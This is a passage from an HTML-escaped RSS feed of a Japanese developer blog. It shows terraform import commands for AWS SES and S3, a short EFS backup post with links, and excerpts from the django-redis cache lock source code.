&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# env $(cat ../.env|xargs) terraform -chdir=prod import &amp;#39;module.ses.aws_route53_record.domain_identity[&amp;#34;yourdomain.com&amp;#34;]&amp;#39; Z01825913VYOI2NNQZL0A__amazonses.yourdomain.com_TXT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="s3"&gt;S3&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export RES&lt;span style="color:#f92672"&gt;=&lt;/span&gt;module.s3_backup.aws_s3_bucket.this
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export BUCKET&lt;span style="color:#f92672"&gt;=&lt;/span&gt;mybucket-prod
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;env &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;cat ../.env|xargs&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; terraform -chdir&lt;span style="color:#f92672"&gt;=&lt;/span&gt;prod import $RES $BUKET
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>AWS: EFS: バックアップ</title><link>https://hdknr.github.io/blogs/posts/2024/01/aws-efs-%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97/</link><pubDate>Fri, 05 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/aws-efs-%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97/</guid><description>&lt;h1 id="efs-バックアップ"&gt;EFS バックアップ&lt;/h1&gt;
&lt;h2 id="aws-backup"&gt;AWS Backup&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/awsform/blob/main/terraform/modules/backups/main.tf"&gt;https://github.com/hdknr/awsform/blob/main/terraform/modules/backups/main.tf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws-datasync"&gt;AWS DataSync&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://business.ntt-east.co.jp/content/cloudsolution/ih_column-53.html"&gt;AWS DataSync を使って S3 から EFS へデータを転送する！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>django-redis: lock</title><link>https://hdknr.github.io/blogs/posts/2024/01/django-redis-lock/</link><pubDate>Fri, 05 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/django-redis-lock/</guid><description>&lt;h1 id="djanog-redis-cachelock"&gt;djanog-redis: cache.lock&lt;/h1&gt;
&lt;h2 id="lock"&gt;&lt;code&gt;lock&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/cache.py#L177"&gt;https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/cache.py#L177&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RedisCache&lt;/span&gt;(BaseCache):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@omit_exception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;client&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__init__&lt;/span&gt;(self, server: str, params: Dict[str, Any]) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client_cls &lt;span style="color:#f92672"&gt;=&lt;/span&gt; options&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;CLIENT_CLASS&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;django_redis.client.DefaultClient&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client_cls &lt;span style="color:#f92672"&gt;=&lt;/span&gt; import_string(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client_cls)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_client &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="defaultclient"&gt;DefaultClient&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/client/default.py#L29"&gt;https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/client/default.py#L29&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;43
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;44
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;45
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;46
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;47
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;48
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; redis &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DefaultClient&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__init__&lt;/span&gt;(self, server, params: Dict[str, Any], backend: BaseCache) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients: List[Optional[Redis]] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;] &lt;span style="color:#f92672"&gt;*&lt;/span&gt; len(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_server)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key: KeyT,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; version: Optional[int] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep: float &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client: Optional[Redis] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; client &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_client(write&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;make_key(key, version&lt;span style="color:#f92672"&gt;=&lt;/span&gt;version)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; client&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sleep,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;blocking_timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local&lt;span style="color:#f92672"&gt;=&lt;/span&gt;thread_local,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_client&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; write: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried: Optional[List[int]] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; Redis:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Method used for obtain a raw redis client.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; This function is used by almost all cache backend
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; operations for obtain a native redis client/connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; instance.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; index &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_next_client_index(write&lt;span style="color:#f92672"&gt;=&lt;/span&gt;write, tried&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tried)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
